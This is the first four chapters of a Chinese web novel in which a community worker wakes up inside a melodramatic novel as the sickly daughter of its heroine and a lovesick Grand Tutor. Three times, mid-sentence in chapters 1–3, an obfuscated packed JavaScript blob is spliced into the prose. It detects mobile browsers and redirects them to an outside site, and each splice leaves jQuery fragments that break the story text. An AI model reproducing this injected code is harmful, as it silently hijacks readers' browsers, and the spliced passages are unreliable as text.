《反派扶我凌云志》 1. 第 1 章 低矮避光的山坡上,薄墙茅草屋挡得住外面一星半点的寒气,挡不住今日风雨交加电闪雷鸣,木板门跟纸糊的窗子差不多,四面都在漏,因为加了最简单的榫卯结构,声音逐渐从吱吱嘎嘎变成哐里哐啷,能与外面的天灾争一时短长,活生生将草席上躺着的病人给吵醒了。 纪木棉昏昏沉沉,刚开始全身骨肉如同风干鸡架,只感觉严重缺水,蔫皱紧巴,拳头都抻不开,随后头疼欲裂,太阳穴楔进钉子似得突突直跳,瞬间让她起了一身冷汗,神智也因为剧痛稍微清明些许。 周围环境简陋陌生的有些不像话,这阵痛感倒是很熟悉……她接了工作,去一户失独老人家探望时因为刚下过雨,泥路难行,前一晚又熬了大夜做社区卫生的宣传资料,脚下有些飘忽发软,一不留神就摔了下去,头正好磕在路边一截突出来的锈钢筋上…… 纪木棉随即又出了一身冷汗。 那么粗一根钢筋!我脑袋没事吧! 她挣扎着想睁开眼睛,一方面要看看自己工作如此努力,怎么两天不来,乡里的社区医院竟破旧成这样,病房里都漏风漏雨,另一方面则是小小地方卧虎藏龙,“我脑浆子都搅匀了吧,起死回生啊大夫。” 人虽干柴虚弱,眼皮子却轻飘飘不觉厚重,纪木棉忍着头晕掀开一条缝,立马察觉自己的人生好像出了什么问题! “绵绵醒了!”一个布衣荆钗美妇人正守在她身边,兴许是太久没睡,脸色有些苍白,她的手冷冰冰贴在纪木棉额头上,随后松了口气,“可算退烧了,这两天可吓死娘了。” 纪木棉:“……”这位娘啊,你年纪不比我大吧? “人已醒,纪书灵,你最好信守承诺随我回府。” 狭小的茅草屋中,一床一桌一人就能占满,再多个半大孩子都有些难以转身,所以这阵低沉的声音是贴着门边传过来的。纪木棉头疼欲裂,先被这泥地茅草房震惊,又被面前妇人美了一大跳,还没来得及看到那门边锦衣华服的男子。 听到这话,纪木棉就更没心思去看他了! 凌晨时候忙完工作,半夜喝得浓缩咖啡劲儿还没过,她睡也睡不着,干脆洗了个澡躺在床上看了会儿小说——是篇史同,名叫《姜太师和我娘亲二三事》。 说是史同,其实架空,官职人物一个都对不上,连经历都是张冠李戴。 女主是原创的,场景是原创的,制度是原创的,几乎是套了个名字开始搞原创,一切为了男女主的感情做铺垫,不惜频繁给周围人降智,剧情之狗血桥段之离奇,把纪木棉看了个目瞪口呆,到中期甚至开始三男争一女,将书名背叛个彻底,男主都没固定下来。 这文属于是吃又吃不下去,吐又吐不出来,以至于没多久她便开始一目十行,饶是如此天亮前也只看到女主诈死,替身上线,后面还有一多半没扫完,她干脆跳十章翻一章,就这么直接翻到结局,见证男女主发了颠的虐恋情深。 这书里的原创女主就叫纪书灵,她有个女儿跟自己同名,开场第一幕就是“茅草屋强权威逼,纪书灵被迫回府”,这台词连一个字都不带改的啊! 纪木棉不肯认命,赶紧抬手想要看一看自己的胳膊……那书里的女儿“纪木棉”才七岁,自己这么大年纪应该塞不进……娘啊,我这胳膊太短了!根本不是二十六岁成年人啊! 只觉眼前一黑,纪木棉恨不得重新晕过去,穿进什么小说不好,偏穿这本荒诞神经狗血文。 为了照顾纪木棉的心情,外面风势愈发嚣张,听这架势,几乎要将门板掀飞,纪木棉都怀疑当朝太师拢着袖子站那儿是为了压稳门板,怕凄风冷雨吹起来头发衣服照脸扑,他面子上不太好看。 “咚咚咚”,就在这时有人敲门,听得出来人手劲很大,不得不收着点,后面一声轻过一声,太师微微侧身倾听……当然这个动作根本没必要,因为外头那人声如洪钟,纪木棉都被震得要从床上弹起来。 “大人,”透过风雨,那人字字铿锵,“弟兄们已经在门外等了两个时辰,继续虚耗恐怕人心浮动。” 好家伙,茅草屋再不济也有四面墙一个顶,并非处处漏雨,感情太师把自己的手下放外面晾着,自己在屋里表演巧取豪夺,纪木棉转念又想,“这段书里好像没有,我漏看了?” 兴许是渐渐适应了现在的身体,头脑里的昏沉渐渐散去,手脚也不再发干发软,纪木棉叫娘实在叫不出口,只能先“咿呀”糊弄过去,哼唧着,“我要喝水。” 她想尽快恢复点精神,好应对接下来的状况,毕竟原书中的“小木棉”先是受了惊吓,高烧不退,早就没了意识,加上回府舟车劳顿,即使后来请了最好的大夫用上最好的药也没留住,到京后第三天就直接病死了。 病死前爹娘还在床前争吵,吵到后面娘晕爹急,一大帮子人簇拥着,招了大夫上娘床头诊脉抓药,而小“纪木棉”断气一盏茶时间才被发现。 在这书里小“纪木棉”还身世成谜,太师死活不相信这是自己的亲生女儿,两个锯嘴葫芦谈恋爱,揪着身世反复虐女主……人是五章死的,误会是一百来章还没解开的,真能算反复鞭尸了。 深层代入想一想,纪木棉也算是憋了一肚子的窝囊气,她还没穿越前,七八岁的时候,爸妈也爱吵架,后来离婚把她往山区的老家一抛,虽也摸爬滚打着平安长大,考了不错的学校,有了不错的工作,依然不踏实,担心自己一时松懈就没饭吃没家回,熬夜加班都成了爱好。 她变态般痴恋灯火通明的工位。 纪书灵全副注意力都放在女儿身上,见她想喝水,立马起身去倒了一碗过来,连天大雨将山泉搅浑,晾了许久又沸过几遍,喝起来仍然有股土腥气,门边太师忽然被摁到了什么开关,阴沉着声音道,“我来这许久,你连一碗茶都不肯招待吗?” 正在埋头牛饮,不考虑口感打算先活下去再说的纪木棉:“……” 她好像发现了什么,决定再试试,“娘,我饿了。” 纪书灵心疼她心疼得厉害,闻言甚至掩面流出泪来,忙道,“想吃什么,娘去给你做。” 书中纪书灵人设就是爱哭,常常怅惘落泪,见飞蛾扑火她都要感怀好几日,几乎达到不吃不喝的程度。 大概是忧思过度的原因,纪书灵身体也一直不好,但奇怪的是回府前她一个弱女子在半山腰隐居还带着个七岁娃娃,能耕能织能徒手修房顶安门板,生活清贫吃饭却不成问题。 回府之后按书中设定,她就开始肩不能扛手不能提,动不动头晕,还晕的千娇百媚柔若无骨,然后就开启一段甜虐宠溺、爱恨交织的剧情。 跟陷入循环似得,每两章就来一次,给纪木棉看得这叫一个腻歪。 “哼,”太师冷笑一声,将纪木棉的注意力从鬼打墙的剧情里拉回,他神色不虞,“我到现在也是粒米未进……何况你这地方,”太师的目光冷冰冰如一把薄刀将地皮都刮了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415052|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,“你这地方能装二两米吗?” “我这里也是大崇属地,若每日辛勤劳作尚不能储下二两米,请问您这位父母官如何做得?”纪书灵眼皮子都不抬,她将水壶下压着的布包拿起来一层层打开,里面竟然是几块大饼,摊得非常薄,面色略微发黄,但看得出大部分是白面,不粗糙……应当是早烙好了,用热水温着,专门给纪木棉留的。 纪木棉咬了一口饼,还软和着,比想像中的杂和面好吃,也不难嚼,配着水很快就能顺下去。纪书灵还生怕她刚醒,太虚弱了再噎着,忙着把饼撕成一小块一小块,“慢点吃,烙了两张呢。” 太师又被摁了下开关,反唇相讥,“看来我这父母官当得还不错,你这里家徒四壁尚有白面可食,换做寻常人家只会更有余粮……多年未见你竟变得如此狭隘市侩,为二两米竟怨起父母官来了。” 纪书灵只淡淡回一声,“白面是赊的,只能赊半两,再多我就还不起了。”略顿,她又补上一句,“我这样的也是寻常人家。” 半两白面还要靠赊,纪书灵肯定是不顾尊严求了很久,兴许还求了很多人,才能求到一个善心的掌柜松口。 面皮子饼瞬间沉重,小孩子的身体感情充沛,对情绪的约束力极其薄弱,纪木棉还没反应过来,眼睛鼻子已经先她一步做出反应,红的红酸的酸,要跟纪书灵哭成一团。 太师:“……狡辩。” 纪木棉嘴里嚼着饼,她心里刚因这位非亲非故的娘有了些热乎劲,又被白捡的爹泼了凉水。 书中倒是说过这位姜太师生于官宦世家,从小便是天之骄子,没受过苦,矜贵孤高——写成文字这人设还算受欢迎,世界观步步铺陈加上点无情阴谋家的偏心、独宠、为爱痴狂便更有意思,真穿进书里,面对真人,纪木棉白眼差点翻出二里地。 反复几次,她也试出来了,这太师纯属一个点读机,但凡女主对谁好一点,他就程序故障,随时随地不分目标触发被动技能“智商归零并大吃干醋”,无论心里是怎么想的,说出口尽是些伤人的话,看不出丁点爱意。 纪木棉当时看书,还能脑补之后的追妻火葬场因而有些期待,眼下却开始理解作者偏题,后面变成三男竞争上岗,连她也只想劝女主,“娘啊,这爹不能处就算了,我打工养活你,咱不受这委屈!” 就在这时,那守在外面的人化大嗓门为大手劲,自家太师还抵着门呢,他也不管不顾,纸薄的门板怎么能同时经住风吹和人力推搡,两下木栓就崩裂了,门板随之脱落,姜祈身手矫健立马让开,好歹维持住了几分体面……他刚想发作,裴知节佩剑一当啷直接给跪了,“山下发现了一小股的土匪,正往这边来,还请太师……顾全大局。” 裴知节乃太师的贴身护卫,小他三四岁,按书中记载,他两自少年相识就一同捣蛋,姜祈走路他绊腿,姜祈上树他撤梯,姜祈下水他偷衣,反复挨打中练出了一身好武艺,长大后虽然有了些阶级观念,但也没有时时遵守,他一跪,姜祈就下意识去扶,随后长袖一甩才勉强端住。 裴知节原本是想说:“儿女情长之外,你干点正事吧。”奈何人多,无法直抒胸臆,只能先摆出万能的“大局为重”,他朝着床边飞快扫过一眼,又压低声音道,“这山上只有寥寥几户人家,家境皆贫,人也老弱,加之今日风雨交加……既绑不到值钱的肉票,又抢不到几两银子,何苦费这个力气?” “不会是冲我们来的吧?” 2. 第 2 章 裴知节声音着实不大,沉沉压着,奈何这茅草屋小的可怜,从床到门不过三四步距离,哪怕彼此耳语都能漏出点动静来。 纪木棉一边啃着饼,一边用她被钢筋贯穿过的脑袋持续回想剧情……书中的确提到过土匪,这股土匪的性质比较特殊,里面混杂着不少逃兵和江湖高手,行事仔细,虽不是正规军,骨子里残留着绿林人的自由散漫,但已经很不好对付。 只是在书中男女主跟土匪们彼此没有打上照面,土匪借道绕行,太师恋爱脑发作,也没管什么民瘼民生,任由他们从眼皮子底下钻过去,洗劫了附近县城,等太师一行人接纪书灵回府后,土匪们又杀了个回马枪,将整个村子烧杀干净。 太师甚至庆幸,家园已毁,纪书灵再也无处可归,乱世中带着个孩子要想安身,只能乖乖留在他府中。 “咳……咳咳咳……”这哪有半点人样啊!与历史形象也不符啊! 看同人看个热闹时也就算了,狗血剧情自有张力,纪木棉偶尔也好这一口,自己穿成这样一位父母官的血亲,纪木棉越想越是觉得血气上涌,刚想爆喝一声,“能不能干,不能干让我上!”小小虚弱的身体承受不住她偌大气性,话没出口,先被呛了个死去活来。 纪书灵赶紧给她拍了拍,多年相依为命,这孩子胎里弱,生来命不好,经常生病,五六岁了才开口说话,大多时候都像缺了魂魄的泥塑土偶,昏昏沉沉懵懵懂懂,纪书灵照顾她多年本应驾轻就熟,可是今日不同,纪书灵有些分心。 太师在“分心”中扮演的角色不太重要,纪书灵的出神主要是因为……孩子烧了几天醒过来,好像换了一个人。 小木棉以前神智昏昧,眼神从来没有落点,看到哪儿算哪儿,人也不知饥饱,喂多少就吃多少,吃撑了吐,吃少了晕。 按理说高烧几天,情况应当更加严重,纪书灵已经做好了咬牙撑下去的准备,小木棉虽痴傻,到底是清贫生活中一点光亮,最近磕磕绊绊还学会了穿大头针,却没想这发烧还能把脑子里的水烧干净,方才女儿一睁眼,竟知道吃饭了,像是空壳子里回了魂! 纪书灵因此“老怀欣慰”,恨不得把女儿抱起来转两圈再揉一顿,偏在此关键时刻遇太师堵门,浩浩荡荡还带了一大批人,她骨子里既惊且喜,胸口闷得发疼,连带着眼眶一起泛红,面子上却还维持着几分冷清,雪山映日,有些晃人眼的艳色…… 这厢纪木棉咳得半死也不忘感叹文字捏人,竟然神形兼备,这书中人物各个美貌,我娘更是不可方物,那厢太师已经将裴知节打发出了门,临走裴知节还将门板抱起来,试图给它安回去,换来太师一个白眼,“这房子以后又不住了,装什么好人呢!去做你的事。” 裴知节随即将门板一抛,他也是个黑心的,原本门板倒在屋内花点功夫还能修,此刻随手一扔,砸在石头上又泡进污水中,眼看裂出了好几道纹路。 纪书灵这才回神,对太师怒目而视,太师的恋爱脑瞬间占领智商高地,“她为何眼眶通红?是不想见我还是盼望见我?我对她日思夜想时时惦念,她怎么能不想见我?!” 思及此处,太师面色阴沉,开口便是,“矫揉造作,虚伪至极。” 纪木棉:“……”她绝望地闭了下眼睛,思量着得想办法打断这部分狗血剧情,于是顶着刺挠的嗓子,努力开口道,“阿娘,土匪……”她拐了个弯,让自己说话尽量像个七岁的孩子,但扮演起来未免幸苦,难有孩子的天真,纪木棉听起来更像弱智,“……土匪是坏人吗?” 由于小木棉原本就是个丢了魂的孩子,能准确表达出意愿纪书灵都要谢天谢地,因此也没怀疑,只宽慰道,“是坏人,但绵绵不要怕,有阿娘在呢。” 如此柔软的语气,如此果敢坚定,情绪再度被调动,纪木棉的心被狠狠牵扯,她鼻子酸得厉害,硬憋着继续道,“土匪往村子里来,那别人家的阿娘和绵绵怎么办?” 纪木棉身在基层,什么杂活儿都干,接触的群众多,上头又专给压力,尽管没锻炼成见人说人话见鬼说鬼话的老油条,婉转表达、旁敲侧击倒是有些底子。 鼻酸导致咬字扭曲,纪书灵还以为小木棉被土匪吓到了,赶紧将她搂在怀里,“莫怕莫怕。” 口中安慰着孩子,纪书灵也察觉到了不对劲,正如裴知节所说,山上荒凉,整个村庄才几户老弱病残,烧杀抢掠还要赔上兵器卷刃的钱,若是冲着太师而来……他身边高手不少,还带了马匹骑兵,别说十几个土匪,几十个未必够砍,想要劫他得付出巨大代价,未免得不偿失。 大概七八天前,县里曾传闻一户地主乡绅全家莫名丢了头颅,怀疑是土匪落草,要递投名状,县里紧张,三班衙役日夜巡查,再不好动手,眼下村子偏远,妇孺孤寡皆无还手之力,倒也好做这个投名状。 纪书灵心中发寒,她怀抱着女儿微颤的身体,忽然想到门外不是有精兵列阵?既然要摆出架势以强权压人,逼自己回那暗无天日的内院,太师怎能不付出代价?!正好利用姜祈保护村庄。 兴许是母女连心,在纪书灵打定主意的瞬间,纪木棉也感受到了一股安定的情绪。 原书中写这位女主,大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415053|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着墨于受虐环节,泡在苦水里,动不动被所有人迫害,因此换来几位男主的心疼爱护,作为狗血梦女文其实有点意思,只是不常写纪书灵怎么想怎么看,她也是书中贯穿所有情节的一个工具人而已。 纪木棉看这种书,只图消遣和有趣,不用动脑最好,也不会十分带入,而今无思无想的工具人成了她有血有肉的娘,肯赊半两白面为她摊饼,她忽然不太舍得纪书灵经历受苦情节了,太师府的富贵她想纪书灵拥有,山野百姓家的自由她也想纪书灵拥有。 平生守序,谨慎善良,不拿群众一针一线,这才穿进封建王朝没半天,纪木棉就发现自己道心破碎,这也要那也要,一整个贪官嘴脸。 “姜太师,”纪书灵一把好嗓子,不用来哄女儿时不必刻意夹着,似冰凌相碰的冷冷淙淙,这轻声一喊,将书生太师都喊出了一个立定稍息,“你过来些,我有话要同你说。” 姜祈长身玉立,光看人物比教科书上所绘俊美出十万高度,纪木棉起初都不敢认,她娘喊这一声才有了带入感——这位就是大崇一朝权倾天下,身弱志坚,英年早瘫但功在社稷的姜太师。 至今关于他的相貌都有两种说法,一者臆断他“姿容伟岸,白面美髯”,另一种则蛐蛐他“须发皆张,貌若钟馗。” 纪书灵不过是喊了他一下,姜祈那双耷拉着正生闷气的眼睛瞬间恢复光彩,人都鲜活了许多,偏偏还“嗯?”一声,装作老大不在意的样子,“何事?” 三个音一落,他已经走到了床边,居高临下看着床上两个人……书中说姜祈是个恋爱脑,遇到女主便行事荒诞,纪木棉还记得原书到中后期姜祈曾有造反之举,若要贴合历史,大半是不成功,纪木棉原本还想这样一个恋爱脑,想要成功也难。 可刚刚她自纪书灵怀中抬起眼睛,双方目光正正相交一瞬,蓬勃的野心几乎要从姜祈神色中溢了出来,接着又像是遭什么外力强压下去,重新将他熨平成脑子不好的模样。 纪木棉心惊肉跳,她刚刚分明看见有个透明的模子笼罩下来,姜祈身上的鲜活和野心就全被模子“刮”了出去,只剩完全符合书中描述的姜太师。 还不只是姜祈,纪书灵也被这么刮了一下,她的神色有片刻空洞,刚刚想说什么全都忘了个干净,甚至莫名其妙开始心口绞痛泪眼婆娑,她啜泣着道,“你……你当真以为如此逼我,我就会跟你回去了吗?” “……”又开始鬼打墙,纪木棉是真被吓到了,若那看不见的外力如此强横,能让书中人物乖乖听话,那以自己这个人设,岂非逃不掉早夭的命运?! 3. 第 3 章 小孩子的躯体局限性实在太大,除了情绪难以控制,还匹配不上成年人的心神,加上大病初愈,纪木棉很快便有些疲倦,她一边强撑着眼皮,试图劝服自己“生死关头别松懈,快想办法啊”,一边点头如捣蒜,直到嘴面子磕在什么东西上,这才疼得一个激灵……醒了。 还没睁眼,纪木棉的心就已经凉了大半截,她不知道自己睡了多久,只感觉周围很安稳,安稳的不像在茅草屋中,身上也很暖和,像是盖了一层毯子。 因为舒服,神思又回到半梦半醒之间,她依稀听到周围有人说话,声音很轻,只勉强听出“县衙”“剿匪”之类的字样,纪木棉迷迷糊糊中想,“你们还知道剿匪呢?不是谈情说爱等神迹就天下太平了吗?” 忽然,纪木棉打了个寒噤,这下是完全清醒了过来,她仿若诈尸般猛地瞪大了眼睛,“剿匪?什么意思?姜祈要剿匪?!刚刚这一茬不是被剧情糊弄过去已经失败了吗?” 纪木棉还记得那将人框定的模板刮腻子似得,将姜祈和纪书灵都刮成了平面角色,她那时精神不济,已经开始一个接一个的打哈欠,临睡前好像自暴自弃说了些什么,乍一下想不起来了。 离纪木棉认知里的“刚刚”早已过去两个时辰,两个时辰,足够风雨侵入茅草屋,太师的车马接上要接的人,再找个温暖舒适的地方落脚了。 她此刻所在的房间古朴安静,床是雕花木床,宽大,离地高,铺上一层松软的棉花,尽管古代木板跟现代床垫不同,仍略微有些膈人,但对于七八岁刚生过病的纪木棉来说身躯下陷,被棉花包裹,安逸到有些消磨斗志。 好在房间的隔音效果很差,能听见隔壁说话声,只寥寥几句就驱散了纪木棉的懒惰。 一个陌生的男人开腔道:“……盗匪猖獗,下官也曾数次上书,恳求州府援手,只是……”他叹了口气,“军政分掌,人员冗杂,每次去信便如石沉大海,就算当面述职陈清利害,也是借口先将我打发回来……不瞒太师,这么多年周而复始,下官确实生了懒政之心。” 他话中隐有苦笑之意,纪木棉干了这么多年基层,她与说话男子素未谋面,先同情了他两分,也只两分最多,男子语气听起来像县官,纪木棉连个组长都没混上,从早到晚除了为人民跑腿就是为人民填表,跟他们大崇朝刮地三尺捞油水的县城土皇帝没有太多共同语言。 姜祈没应声,像是在思索什么,片刻之后才道,“有些话说出来要慎重,朝廷吏治岂容你一个县令置喙。”话虽严厉,语调却平,只是对这位县令略加提点。 “如果我没记错的话,东梓县十一年前因歧水改道,划归歧州府管辖,而歧州现任政事府理是陈勉陈三谦,出身平秣陈氏。”纪书灵在山野之中讨生活,每日所求不过装满米缸,没想到对县志和州府官员如此了解。 说起平秣陈氏,纪木棉倒是有些印象,书中关于陈勉的桥段并不多,只记得他每次出场,都要强调自己的姓氏,为人高傲且缺心眼,对纪书灵一见钟情——原书里适龄女人都容易对姜祈一见钟情,适龄甚至不适龄的男人都容易对纪书灵一见钟情…… 陈勉钟情之后就开始阴谋诡计各种招呼,试图害死姜祈霸占纪书灵,最终落得身首异处的下场,死的挺早,纪木棉读到这段剧情时还没有审美疲劳。 除此之外,纪木棉对大崇朝历史颇感兴趣,不过后来因学业方向不同,再也没有深入研究,只略懂些皮毛知道些名人。 其中平秣陈氏就如雷贯耳,四十年间光状元就出了两位,朝中身居高位者不在少数,另外后宫还有一位德妃也姓陈。 士族门阀与皇权争斗至中期,皇权渐盛之际,唯这平秣陈氏受到的冲击不算大。 姜太师后来遭迫害的祸根,就是从陈勉之死开始埋下的。 兴许是当着外人的面,姜祈那别扭的性子略有收敛,理智竟然没有受恋爱脑左右,一不质问,二不驳斥,反而安安静静在一旁,听纪书灵接着道,“府理虽为州府之长,却无兵权在手,能调动的只有仓廪守卫和府兵不过一两百人,若要剿匪,还得戍卫营援手。” “可陈三谦跟营尉沈述的关系属实不好,”话音停下,纪书灵喝了口水,即便是在说这些官场争斗,腥风血雨之时,她也是稳稳当当,“歧州东边就是淚国,近些年频扰边境导致水寇猖獗。东梓县中匪患未曾闹大,陈三谦油滑,沈述固执,前者怕做多错多不肯开口,后者事务繁忙,也未必了解县中情况。” 这些事姜祈知道一半,不知道另一半,京城距离歧州快马加鞭一日走六七个时辰,第三日傍晚就能到州府衙门口,说近不近,说远不远。按大崇律法,姜祈是京官,并未外放,在无圣命的情况下,他出现在歧州就是擅离职守,追究起来甚至可以被罢官免职。 遑论动用私权,还调了数十人马跟着他,倘若他不是男主,倘若这文不是古早虐恋批皮玛丽苏文,罢官免职都是轻罚。 文中太师权倾朝野直接导致行为跋扈——是纪木棉这个读者抽离之后,结合历史细品之下觉得跋扈,原书中描写更像是“霸道总裁”的古代版,可以任性妄为。 若是那维持人设的透明模子此时此刻落下来,把姜祈重新刮成书中人,只要他动了剿匪的心思,这会儿就该倚仗权柄,直接杀进戍卫营借兵剿匪了。 还有她“娘”纪书灵,原文曾说她是罩在糖壳里的水晶玲珑心,可惜后续情节里看不出来,她大部分时候都在忍没必要的苦、受没必要的虐、犯没必要的蠢,当全书只有一条主线时倒还好,偶尔发糖并活到最后就是胜利。 真成了活人纪木棉就有些害怕,那活人不只活主线啊,一天十二个时辰除去睡觉的三、四个时辰,偶尔伤春悲秋哭一哭很正常,总是伤春悲秋感叹自己人生无望其它啥都不干,这怎么受得了啊。 所以听墙角听了这老大一会儿,纪木棉总算松了口气,她是脑门插钢筋穿过来的,穿回去不是个死人估计也差不多,那就只能赖在这里,然而眼下这副躯体不过七岁,还严重营养不良,只剩脑子和嘴管点用。 男主女是她眼下唯一能攀上的救命稻草,要是被那看不见的模子压着,顺剧情往下走,过两天纪木棉就得变回尸体,往后的日子被各种人“抡”着锤她娘。 姜祈和纪书灵保留了人格,能独立思考,趁她昏迷甚至开辟了剿匪支线,让纪木棉又重燃了生的希望……她不由得开始想,“阿娘从哪里知道这么多东西,书里根本没提过啊。” 在隔壁房间的县令也有些奇怪,他拱手,“姜夫人对歧州府事竟如此了解?” 纪书灵下意识“嗯?”了一声,“我非……”话说一半又收了回来,她若解释自己非“姜夫人”,以姜祈的性子现在不说之后也会不依不饶,救村子要紧,她还有半亩薄田在山腰上,是母舅家的遗物呢。 “先父中过举,母家又经商,曾积累下不少财富,还有自己的商队和商船,货物周转要时常与州县里打交道,只有一次疏忽,便足以家破人亡。”纪书灵也不避讳,直言道,“有些事我幼年便知,有些则是惊惧之后形成了习惯,每至一地便要眼观六路耳听八方,对上官行事作风乃至喜好都十分在意。” 她笑一声,“否则……我不能安心。” 隔壁安静了许久,时间长到纪木棉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415054|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想喊一声,“你们快说句话安慰安慰她啊!求你们了!”她就是看不得好人受苦,刷个挺明显的煽情视频都要鼻子一酸,何况这好人待她着实不错,倘若自己再年轻十几岁,肯定真心实意喊个“娘”。 纪木棉已经从床上爬了起来,隔壁房间的沉默也被院中动静打断,有人急匆匆奔来,此人做事粗心莽撞,强拍了卧房门好几下才反应过来敲错了,而隔壁县令已经出声道,“何事……在府中不要慌慌张张。” 话音未落,纪木棉隔壁门已经大开,那小厮年轻,经验不足,好在机敏也知轻重,赶紧低头说正事,“老爷,歧州府辅事来了,正在前厅等你。” “赵大人还是彭大人?”县令脸色稍变,他边问小厮边回身对姜祈道,“来的好快,太师在此稍作休息,不要露面,我会想办法应付过去。” 小厮接着自家老爷的尾音,“彭大人。”他是管家打发过来叫人的,重要信息已经记下。 房中姜祈看了纪书灵一眼,便听纪书灵道,“歧州府辅事彭千里为人刚直,颇有能力。” 有能力就意味着不好应付,施县令去歧州府述职,曾与他打过交道,彼此印象不算糟糕,但也好不到哪里去,彭千里提点他“思进取”,施县令觉得他站着说话不腰疼。 这时,纪木棉装成一副被敲门声吵醒的模样,她揉着眼睛,一把抓住了县令的裤腿,小孩子手劲巨大,好险没让施县令光着腿去见客。 施县令抡飞快的脚赶紧顿住,他不知如何是好,只能转身向纪书灵求救,“夫人……这孩子……” “阿娘,让我跟着去吧。”纪木棉“咬定青山不放松”,县令扯她左手她就换右手,扯她食指她就换中指,年轻的身体就是灵活,县令又想摆脱她又要维持衣冠整齐还不能伤着孩子,横竖慢上一点。 纪木棉软着嗓音又道,“我年纪小,州里的大人肯定不爱同小孩儿计较,我跟过去,就是爹娘的一双眼睛。” “这……”县令有些为难。 这孩子他接触不多,刚刚这番话听着是有些早熟,可她毕竟才七八岁,上官蜂窝煤般的心眼她要如何应对?万一泄露了太师行踪……天高皇帝远,县令位卑职小对京城事务不太了解,却也明白有些事得蒙着层窗户纸,绝不能戳漏了。 不为别的,只为他这一县安宁,为那剿来剿去剿不灭的匪患,他也得帮姜太师捂着,没有这个位高权重脑子抽风,忽然降临本县的变数,等土匪们壮大起来,迟早连他这县衙都血洗了,到那时才惊动朝廷,派几千几万兵马来踏平山头,顶个……斯文人不说脏话的用。 “让她去吧。”纪书灵想了想,自家姑娘露面时她已经三步并两步,冲到了门前,只差跨过门槛而已……是纪木棉的话将她挡在了门槛后。 这场大病令小木棉回了魂,却也像换了一个人,纪书灵心里有些忐忑,过去七年相依为命忽然之间变得虚无缥缈,她的人生仿佛是从茅草屋门被敲响那一刻才正式开始。 心空落落尚未落地,便又着急想,“绵绵能回魂也好,聪明点才能活得久……” 家里父母、叔伯、婶姨死了太多太多,纪书灵已经不记得还有谁活着,她曾爱过姜祈,因为什么也不记得了,兴许就是绝望中一根稻草吧。当时握紧了,并因此活了下来,活得好不好她一连几年无从计较,梦里是刀和血,耳边是喊杀声。 等一切尘埃落定,尸骨连着地上的灰一起铲起来扔进乱葬岗,运气好的有张草席,埋深一点,很快就腐化,土上长草,踪迹全无;运气不好埋得浅,被豺狼野狗拖出来啃干净……埋深埋浅都是一样,让纪书灵什么也找不到。 4. 第 4 章 兴许是母女连心,纪书灵动念想起她颠沛流离的亡命生涯,纪木棉也跟着有点不好受,鼻子一酸,眼泪汪汪,年长者还没哭,她差点抽鼻子抽得背过气去,心里还想,“怎么回事?鼻塞流泪,我过敏啦?” 这副凄惨模样落在县令眼中,只觉此事更不靠谱,哪有带亲眷面见上官的,万一失礼更难办,他刚俯身,准备安慰一下纪木棉,然后将她交给小厮代为照顾,纪木棉双眼虽被泪水糊住,却也瞬间就识破了县令的“阴谋”,她拎起裤裙就往前跑…… 县城府衙很小,卧房的院子出来至前厅是一条直路,没有岔道,两者距离很近,腿倒腾快点别说“君子端方,不缓不急”的县令,就是猴儿一样的小厮都逮不住她,倒是让纪木棉第一个冲进前厅,见到了那位彭大人。 彭千里四五十岁,文官的装扮却是武官的体格,豹头环眼高大威猛,纪木棉闯过来时,他正背手站在前厅中央。 这种古时建筑大而深,门窗皆不透明,阳光只能披洒到门后一两米处,尔后便阴森森冷沁沁的,没个人气。彭大人看起来肝火旺得很,大袖往上撸起、团住、扎好,挺结实,他似乎常这么做,有什么动作也甩不下来。 他听见动静回头,便看到一个女娃娃拎着裙子艰难跨门槛……前堂见客,相对正式,门槛也做得高,纪木棉身材瘦小,比同龄人还矮半个头,几乎是搬着腿才迈了过去。 彭千里:“……” 他帮忙的动作慢了一步,没挨上纪木棉,还被小丫头大手一挥,“不用,我自己来!” “你是?”彭千里年纪摆在这里,家中长子已经娶妻,孙辈比纪木棉稍小一点,因奔了前程,不住在一起,甚至远隔千百里,逢年过节才难得见一面。他看着凶悍,脾气倒还好,没跟个孩子计较,冷峻的眉眼中甚至带了笑意。 纪木棉也不知该怎么行礼才对,她看大崇历史只图个感兴趣,礼仪这块儿太细,也没什么意思,事到临头只能学着电视上常用的“福了福”,显得既乖巧又懂事。 “我是阿叔的侄女儿……”纪木棉不怕闹出笑话,年纪小不闹笑话反而呆板,过于小心谨慎也招怀疑。 她死皮赖脸要跟过来自然有其原因,一方面“爹娘”不宜出面,在外头听到什么看到什么,她都可以代为转达,此地县令明显有私心,未必肯一字不落;另一方面她得见见彭千里。 彭大人这会儿还是歧州府辅事,三年后便会调任京城,力主北抗尧麓——由磐契族建立的帝国。 